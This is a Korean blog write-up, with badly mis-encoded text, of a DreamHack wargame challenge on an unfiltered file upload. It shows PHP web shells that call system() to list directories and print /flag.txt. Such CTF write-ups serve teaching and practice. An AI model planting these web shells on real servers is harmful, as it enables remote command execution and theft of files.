ํ์ผ ์ ๋ก๋ ์ทจ์ฝ์ ์ ๋ํ ๋ฌธ์ ๋ก ๋ณด์ธ๋ค.
์ฃผ์ด์ง ํ์ด์ง๋ก ์ ์ํ ํ, Upload ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด
์ ๊ทธ๋ฆผ์ฒ๋ผ ํ์ผ์ ์ฌ๋ฆด ์ ๊ฐ ์๋ค.
์ฃผ์ด์ง php ์ฝ๋๋ฅด ๋ณด๋,
์ ๋ก๋ ํ์ผ์ ๋ํ ํ์ฅ์ ํํฐ๋ง์ ์กด์ฌํ์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๊ทธ๋์, php ์ฝ๋ ํ์ผ์ ๋ง๋ค์ด์
์๋ฒ์ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ๋ช ๋ น์ ์คํํด๋ณด๋๋ก ํ์.
๋จผ์ ,
<?php
system("ls");
?>
๋ผ๊ณ ์ฝ๋๋ฅผ ๋ง๋ค์ด์
ํ์ฌ์์น์์์ ํ์ผ๋ค์ ๋จผ์ ์ถ๋ ฅํด๋ณด์.
(ํ์ผ๋ช : get_flag4.php)
์ ๋ก๋ ์๋ฃ.
list ํ์ด์ง๋ก ๊ฐ์ ์ ๋ก๋๋
get_flag4.php ๋ฅผ ํด๋ฆญ.
!! ํ์ผ ๋ชฉ๋ก์ด ์ถ๋ ฅ๋์๋ค.
๊ทธ๋ฌ๋ ์์ฝ๊ฒ๋ list์์น์๋ flag.txt๋ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
flag.txt ๊ฐ ์ด๋ ์์น์ ์๋์ง ์์๋ด๊ธฐ ์ํด
์ต์์ ํด๋๋ถํฐ ๋ฆฌ์คํธ๋ฅผ ์ถ๋ ฅํ๋ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๊ณ ์ ๋ก๋ ํ๊ฒ ๋ค.
ํ์ผ๋ช : get_flag5.php
<?php
system("ls /");
?>
ํ์ผ์ด ์ ๋ก๋ ๋์๊ณ ๋ค์ด๊ฐ๋ณด๊ฒ ๋ค.
์ต์์ ํด๋์ flag.txt ๊ฐ ์กด์ฌํจ์ ์ ์ ์๋ค.
๊ทธ๋ ๋ค๋ฉด, ์ต์์ ํด๋์ ์๋ flag.txt ๋ฅผ ์ถ๋ ฅํ๋๋ก ์ฝ๋๋ฅผ ์์ ํ์ฌ ์ ๋ก๋ํ์.
ํ์ผ๋ช : get_flag6.php
<?php
system("cat /flag.txt");
?>
์ ๋ก๋ ์๋ฃ. ํด๋ฆญํ๋ฉด ?
flag.txt ๊ฐ ์ถ๋ ฅ๋๋ค.
':: DreamHack ๐ฉ > wargame - web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[ dreamhack ] - [ web | csrf-2 ] (0) | 2022.04.05 |
---|---|
[ dreamhack ] - [ web | csrf -1 ] (0) | 2022.03.29 |
[ dreamhack ] - [ web | proxy-1 ] (0) | 2022.03.17 |
[ dreamhack ] - [ web | command-injection-1 ] (0) | 2022.03.16 |
[ dreamhack ] - [web | file download ] (0) | 2022.03.16 |
๋๊ธ